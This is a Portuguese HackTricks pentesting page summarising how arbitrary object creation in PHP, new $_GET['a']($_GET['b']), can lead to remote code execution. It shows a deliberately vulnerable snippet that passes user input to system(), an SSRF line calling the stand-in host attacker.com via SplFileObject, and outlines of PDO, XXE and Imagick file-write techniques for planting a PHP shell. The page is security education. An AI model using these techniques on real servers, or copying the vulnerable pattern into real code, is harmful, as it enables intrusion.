hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

6.9 KiB

PHP - RCE abusando da criação de objetos: new $_GET["a"]($_GET["b"])

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Este é basicamente um resumo de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introdução

A criação de novos objetos arbitrários, como new $_GET["a"]($_GET["a"]), pode levar à Execução Remota de Código (RCE), conforme detalhado em um writeup. Este documento destaca várias estratégias para alcançar RCE.

RCE via Classes Personalizadas ou Carregamento Automático

A sintaxe new $a($b) é usada para instanciar um objeto onde $a representa o nome da classe e $b é o primeiro argumento passado para o construtor. Essas variáveis podem ser provenientes de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.

Considere o trecho de código abaixo:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Neste caso, definir $a como App ou App2 e $b como um comando de sistema (por exemplo, uname -a) resulta na execução desse comando.

As funções de carregamento automático podem ser exploradas se nenhuma dessas classes for acessível diretamente. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando spl_autoload_register ou __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

O comportamento do carregamento automático varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.

RCE via Classes Internas

A falta de classes personalizadas ou autoloaders pode ser suficiente para RCE. O número dessas classes varia entre 100 e 200, com base na versão do PHP e extensões. Elas podem ser listadas usando get_declared_classes().

Os construtores de interesse podem ser identificados por meio da API de reflexão, conforme mostrado no exemplo a seguir e no link https://3v4l.org/2JEGF.

RCE via métodos específicos inclui:

SSRF + Desserialização Phar

A classe SplFileObject permite SSRF por meio de seu construtor, permitindo conexões com qualquer URL:

new SplFileObject('http://attacker.com/');

SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.

Explorando PDOs

O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores SoapClient e SimpleXMLElement, dependendo da versão do libxml2.

RCE via Extensão Imagick

Na análise das dependências de um projeto, foi descoberto que o Imagick poderia ser utilizado para execução de comandos ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.

Analisador VID

A capacidade do analisador VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia resultar na colocação de um shell PHP em um diretório acessível via web, alcançando a Execução Remota de Código (RCE).

Analisador VID + Upload de Arquivo

Observa-se que o PHP armazena temporariamente arquivos enviados em /tmp/phpXXXXXX. O analisador VID no Imagick, utilizando o protocolo msl, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para realizar a escrita de arquivos arbitrários no sistema de arquivos.

PHP Crash + Força Bruta

Um método descrito no artigo original envolve o envio de arquivos que causam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: